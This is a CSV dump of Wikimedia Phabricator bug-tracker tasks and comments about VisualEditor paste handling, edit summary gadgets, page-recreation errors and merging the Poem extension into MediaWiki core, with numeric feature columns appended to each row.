+239389,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","References are also pasted as [1], etc",,,1374849508,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+54091,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"As perhaps a simpler case of copy and paste from 'external sources', pasting richtext that copied from the same wiki should work seamlessly.
+
+In many cases, the 'html' already has the metadata needed. e.g. the image, or text-with-wikilinks, even the categories, should be paste-able
+
+https://en.wikipedia.org/wiki/Pelham_Parkway
+
+With a tiny bit of additional html attributes, the navbox templates ({{Parkways in New York City}} & {{Bronx streets}}) could be copied as they are self-contained units - no parameter were used to invoke them.
+
+Again with a bit of markup, the Infobox pasted into a VE session, but only the shell transclusion could set up - the parameters would need to be entered by the user in the VE.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51547",Low,25.0,1374842820,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-jg5w64dq46rdbpyabqp7,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+2230044,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,This should be largely addressed as we transition to #parsoid-read-views.,,,1700062714,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,541,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1133425,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"NB Firefox throws away RDFa properties when copying, so this won't be possible without JavaScript intercepting copy events, as it stands:
+
+https://jsfiddle.net/L9q81y02/2/",,,1535732717,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,269,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+239115,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"NB Firefox throws away RDFa properties when copying, so this won't be possible without JavaScript intercepting copy events, as it stands.",,,1390316714,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+239108,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,*** Bug 52787 has been marked as a duplicate of this bug. ***,,,1383280378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239099,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"(In reply to comment #2)
+> This is a separate problem James.  This is about copying from a non-VE wiki
+> page on the same wiki.  That is very different from copying from another VE,
+> or another website.  As I eluded to in my initial enhancement request,
+> additional HTML needs to be emitted into the read version of the wiki page in
+> order that a VE could pick up the name of the template to use when pasting it
+> into a VE.
+
+Oh, sorry, I missed your comment about adding RDFa/etc. hinting to highlight what DOM elements are what.
+
+""Tiny"" is not remotely the correct word - this will require us to replace the entire read DOM with the same output as Parsoid provides VisualEditor, which is vaguely scheduled to be considered for research/analysis in about a year's time (this is so far off in the distance there isn't even a bug for it yet). Recasting.",,,1374881208,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,3,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+239090,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"This is a separate problem James.  This is about copying from a non-VE wiki page on the same wiki.  That is very different from copying from another VE, or another website.  As I eluded to in my initial enhancement request, additional HTML needs to be emitted into the read version of the wiki page in order that a VE could pick up the name of the template to use when pasting it into a VE.",,,1374880786,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+239083,The read HTML should have hinting to allow full DOM copying (as opposed to just rich copying) from read mode into VE surfaces,"This is not simpler. This is the same. The problem is not taking in rich text (from any source), it's inserting it sanely into VisualEditor's ContentEditable surface, sadly. Merging.
+
+*** This bug has been marked as a duplicate of bug 33105 ***",,,1374880349,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jg5w64dq46rdbpyabqp7,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+54089,"VisualEditor: Paste in Firefox with privacy option enabled behaves strangely: rich text appears, but in reality paste has failed","The paste operation on Firefox behaves strangely when dom.event.clipboardevents.enabled = false
+(which is exposed in the UI of several extensions)
+
+When disabled, rich text appears to have been pasted into VE, with links in blue (but the link isnt editable), but in reality the paste has failed to change the underlying data in VE.
+
+If the user starts typing, the pasted richtext disappears.
+
+If the user saves immediately after the paste, the richtext remains visible in the VE, but the save only adds blank lines instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1374841620,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-yluaahg4ge2upl35udiq,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+2424754,"VisualEditor: Paste in Firefox with privacy option enabled behaves strangely: rich text appears, but in reality paste has failed",[[ https://pl.wikipedia.org/w/index.php?title=Wikipedia:Kawiarenka/Kwestie_techniczne&diff=prev&oldid=74782151 | September 2024 report from pl.wikipedia ]] - need to confirm about:config settings of the reporter,,,1727568654,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-yluaahg4ge2upl35udiq,task_subcomment,,True,c1,3,False,,,586,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+54087,VisualEditor: Transclusion dialog should also display the actual parameter name as well as the display name,"When you start a new transclusion dialog for a template which has the templatedata specified it shows a list of the parameters with the label on the left and the actual parameters in grey on the right. This is good for power users who know the parameters. 
+
+When you choose a parameter which has a value specified you can see the label, but you can't see what the actual parameter is. This would be quite handy and could use the same grey style as in the list.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374838980,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-i65x4dklyvkvelmyu7om,task_description,open,True,c1,3,False,False,,3,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+54085,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"Wikipedias in some languages, among them Polish, Russian, Ukrainian and Hebrew, have a gadget that shows a list of frequent edit summaries near the edit summary field in source editing mode.
+
+Here are the source samples:
+
+Polish: https://pl.wikipedia.org/wiki/MediaWiki:Gadget-edit-summaries.js
+Hebrew: https://he.wikipedia.org/wiki/MediaWiki:Gadget-Summarieslist.js
+
+Many users in the Hebrew Wikipedia complained about the lack of this gadget in the VisualEditor. This could be an enhancement request, but given that for several languages it's an integral part of the editing interface for these languages, it's a regression for them.
+
+Adding this as a feature should be very easy, given that it's quite simple and the existing gadgets' code can be reused. Localization and customization for every project can be done on a MediaWiki page with a list of summaries for that project.
+
+--------------------------
+**See Also**:
+{T50274}",Low,25.0,1374828360,1561117513.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-odseemabxyqbdz2dgloa,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+1301799,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,Task was to update gadgets which is done. Please re-file if you think this functionality needs to be upstreamed.,,,1561117513,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,True,,,311,,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+871532,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"The relevant gadgets currently seem to support VE (And so does the english wikipedia version of this gadget). Do we keep this open as a core VE improvement ? 
+
+I'd think that considering the experiences with iOS mobile App canned edit summaries some thorough UX analysis and creative thinking would have to go into this to make such a thing useful for both inexperienced and seasoned editors honestly.",,,1496828368,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,True,,,205,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+398020,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"Yes, and FWIW, the he.wikipedia veteran editors welcomed this change, done by @eranroz (thanks, Eran).
+
+It's available in the mobile apps in all languages, and I wonder - can @deskana provide any info about whether the mobile editors use it and like it? And what do the recent changes patrolers in different languages think about it?",,,1420985690,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,False,,,79,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+398017,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"Both of the gadgets linked have been extended to also work with VisualEditor, by the way.",,,1420984413,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,True,,,79,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238801,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"(In reply to comment #1)
+> I'm reminded of bug 48274.
+
+It's somewhat related, but definitely not the same. What I'm talking about are very frequent summaries in a project. Every project community decides what it needs, but usually it's common generic stuff like ""spelling"", ""adding links"", ""wikification"", ""removing unreferenced content"", ""copyediting"" etc.",,,1374829478,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,False,,,3,,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1
+238792,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,I'm reminded of bug 48274.,,,1374828543,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+54073,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","Steps to reproduce:
+1. Open VE on a sandbox
+2. In a different window, delete the sandbox
+3. In the VE window, change the text in the sandbox and save the page
+
+Expected results:
+Something similar to the SE, which asks ""
+User xxx (talk) deleted this article after you started editing it, with a reason of:
+
+    blah 
+
+Please confirm that you really want to recreate this article."" with a checkbox
+
+Actual results:
+Backend error message is displayed, and there is no option to ignore this error.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374805260,1416944610.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-pyseattqnc7yj362nndp,task_description,resolved,True,c1,3,False,False,False,3,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+333110,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","Change 169976 merged by jenkins-bot:
+Catch pagedeleted errors and give the ability to re-create the page
+
+[[https://gerrit.wikimedia.org/r/169976]]",,,1416944580,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+238158,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","Change 169976 had a related patch set uploaded by Alex Monk:
+Catch pagedeleted errors and give the ability to re-create the page
+
+https://gerrit.wikimedia.org/r/169976",,,1414630160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238152,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","I currently get this error in Parsoid:
+
+TypeError: Cannot read property 'length' of null
+    at Object.result.parse (eval at <anonymous> (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:97:44), <anonymous>:18347:34)
+    at PegTokenizer.tokenizeAsync (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:135:25)
+    at PegTokenizer._processText (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:124:8)
+    at PegTokenizer.process (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:38:7)
+    at ParserPipeline.process (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.parser.js:439:21)
+    at ParserPipeline.processToplevelDoc (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.parser.js:455:21)
+    at SSP.parseOriginalSource (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.SelectiveSerializer.js:143:17)
+    at TemplateRequest.<anonymous> (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.Util.js:1266:3)
+    at TemplateRequest.g (events.js:180:16)
+    at Object.processSome [as _onImmediate] (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.ApiRequest.js:123:17)
+worker 11363 died (1), restarting.",,,1397917595,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+238146,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","The response is now:
+
+| Error: The page has been deleted since you fetched its timestamp
+
+I guess we should inherit this message, however. Changing to an enhancement.",,,1385395630,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+54065,VisualEditor: Make ve.ce.MWBlockImageNode.prototype.getCssClass nicer,"It should look at the attributes directly rather than take them as parameters. We should move the folding of all sorts of types into 'default' or 'none' in there. We should set the CSS class in one place rather than two different ones.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374792420,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-onafhjfu75ziw55sv6d6,task_description,open,True,c1,3,False,False,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0
+54061,Merge Poem extension into MediaWiki core,"The Poem extension has almost as much extension setup as it has functionality. Bundling it with MediaWiki is silly, it should simply be merged into core.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement
+**Whiteboard**: migrate Poem extension bugs to core post-resolution",Low,25.0,1374788640,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-bdnotllyeea37ihjkmr3,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+1067838,Merge Poem extension into MediaWiki core,"For clarity I have split the work plan in my previous comment to a new task, {T194651}.",,,1526299289,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,254,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1045958,Merge Poem extension into MediaWiki core,"We had an IRC discussion in #mediawiki-parsoid about this. 
+
+* We'll get rid of the special handling of `:`, but preserve the existing appearance by using CSS. So end users won't notice a change, unless they have custom CSS rules with selectors like `div.poem > span` or `.mw-poem-indented`, which will not work anymore. This will address T123216.
+* The compact attribute is going to be killed. (We didn't actually discuss this, but everyone appears to agree that it is useless.) This will address T16910.
+* We'll try to solve the T124144 <hr> issue as well. Existing patches for that task will be insufficient to deal with the problem when <pre> is used. 
+* Once those things are done, @ssastry suggested to follow this plan:
+** get feedback from Wikisource
+** do visual diffs if required as part of that
+** merge the patch https://gerrit.wikimedia.org/r/#/c/328887/
+** evaluate if there is anything we want to deprecate via linter (e.g. intra-line whitespace)
+** reevaluate whether we want to merge this into core as <lines> as the original proposal stood
+
+This is arguably the wrong task for this work, since we are not actually merging the extension (yet) - the current flurry of work is a precursor to that.",,,1522959725,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,248,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+1044917,Merge Poem extension into MediaWiki core,"So, looking at https://gerrit.wikimedia.org/r/328887 it seems that, if that patch is merged, the primary difference between `<poem>` and `<pre>` handling in core is:
+* `<poem>` generates an empty span with `margin-left:1em` for wikitext like `: foo`.  But I think we could probably tweak the CSS so that the rendering of the standard parser output for `:foo` (aka, `<dl><dd>foo</dd></dl>` is the same.
+* `<poem>` respects leading whitespace, but compresses intraline whitespace.  This is currently being done by a combination of CSS and manually substituting leading whitespace with `&nbsp;`.  In order to clean this up, the easiest thing would be to stop compressing intraline whitespace.  We'd either do that for a new `<lines>` tag (and merge the `<lines>` semantics into core) or else do a wikilint type project to simply removing inadvertent intraline whitespace.  Depending on how prevalent it is, the latter might not be too hard.
+
+What else am I missing?",,,1522871580,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,248,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+1034068,Merge Poem extension into MediaWiki core,"Also, it would be nice if we could have some more attention on https://gerrit.wikimedia.org/r/330896/. This is an obscure bug in the PHP parser that is only triggered by certain wikitext content generated by a tag extension (it can't be triggered by user-entered wikitext), and it blocks the re-implementation of `<poem>` using the `<pre>` tag.",,,1521288301,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,245,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+1034076,Merge Poem extension into MediaWiki core,"I think https://gerrit.wikimedia.org/r/106861 is probably still relevant today (or if there is no appetite for merging into core, then the changes can be rebased on top of the extension, as seen in https://gerrit.wikimedia.org/r/#/c/328887/). I seem to recall that it fixes a number of bugs in the Poem implementation, not all of which are tracked in Phabricator. Although this was 4 years ago, so I might be wrong.",,,1521293089,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,245,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1034067,Merge Poem extension into MediaWiki core,"I think https://gerrit.wikimedia.org/r/106861 is probably still relevant today (or if there is no appetite for merging into core, then the changes can be rebased on top of the extension). I seem to recall that it fixes a number of bugs in the Poem implementation, not all of which are tracked in Phabricator. Although this was 4 years ago, so I might be wrong.",,,1521288123,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,245,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
